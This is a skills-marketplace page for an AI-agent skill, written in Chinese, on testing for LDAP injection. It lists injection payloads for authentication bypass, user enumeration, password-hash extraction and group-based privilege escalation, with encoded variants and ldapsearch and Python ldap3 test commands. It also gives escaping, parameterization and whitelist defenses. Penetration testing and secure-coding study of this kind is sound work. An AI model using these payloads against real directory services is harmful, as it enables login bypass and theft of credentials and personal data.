skills/ldap-injection-testing/SKILL.md
LDAP注入漏洞测试的专业技能和方法论
npx skillsauth add ed1s0nz/cyberstrikeai ldap-injection-testingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
LDAP注入是一种类似于SQL注入的漏洞,利用LDAP查询语句的构造缺陷,可能导致信息泄露、权限绕过等。本技能提供LDAP注入的检测、利用和防护方法。
应用程序将用户输入直接拼接到LDAP查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
危险代码示例:
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);
基础查询:
(cn=John)
(objectClass=person)
(&(cn=John)([email protected]))
(|(cn=John)(cn=Jane))
(!(cn=John))
需要转义的字符:
( ) - 括号* - 通配符\ - 转义符/ - 路径分隔符NUL - 空字符常见功能:
测试特殊字符:
*)(&
*)(|
*))(
*))%00
测试逻辑操作符:
*)(&(cn=*
*)(|(cn=*
*))(!(cn=*
基础绕过:
用户名: *)(&
密码: *
查询: (&(cn=*)(&)(userPassword=*))
更精确的绕过:
用户名: admin)(&(cn=admin
密码: *))
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
枚举用户:
*)(cn=*
*)(uid=*
*)(mail=*
获取属性:
*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*
方法1:逻辑绕过
输入: *)(&
查询: (&(cn=*)(&)(userPassword=*))
结果: 匹配所有用户
方法2:注释绕过
输入: admin)(&(cn=admin
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))
方法3:通配符
输入: *)(|(cn=*)(userPassword=*
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
枚举所有用户:
搜索: *)(cn=*
结果: 返回所有cn属性
获取密码哈希:
搜索: *)(|(cn=*)(userPassword=*
结果: 返回用户和密码哈希
获取敏感属性:
搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
结果: 返回多个敏感属性
修改查询逻辑:
原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
结果: 可能绕过权限检查
URL编码:
*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C
Unicode编码:
* → \u002A
( → \u0028
) → \u0029
使用注释:
*)(&(cn=*
*)(|(cn=*
使用NULL字节:
*))%00
图形化LDAP客户端:
# 基础查询
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"
# 测试注入
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
import ldap3
server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
user='cn=admin,dc=example,dc=com',
password='password')
# 测试注入
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)
输入验证
private static final String[] LDAP_ESCAPE_CHARS =
{"\\", "*", "(", ")", "\0", "/"};
public static String escapeLDAP(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}
参数化查询
// 使用LDAP API的参数化功能
String filter = "(&(cn={0})(userPassword={1}))";
Object[] args = {escapedCN, escapedPassword};
// 使用API构建查询
白名单验证
// 只允许特定字符
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}
最小权限
错误处理
tools
满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
testing
XXE XML外部实体注入测试的专业技能和方法论
testing
XSS跨站脚本攻击测试的专业技能
testing
XPath注入漏洞测试的专业技能和方法论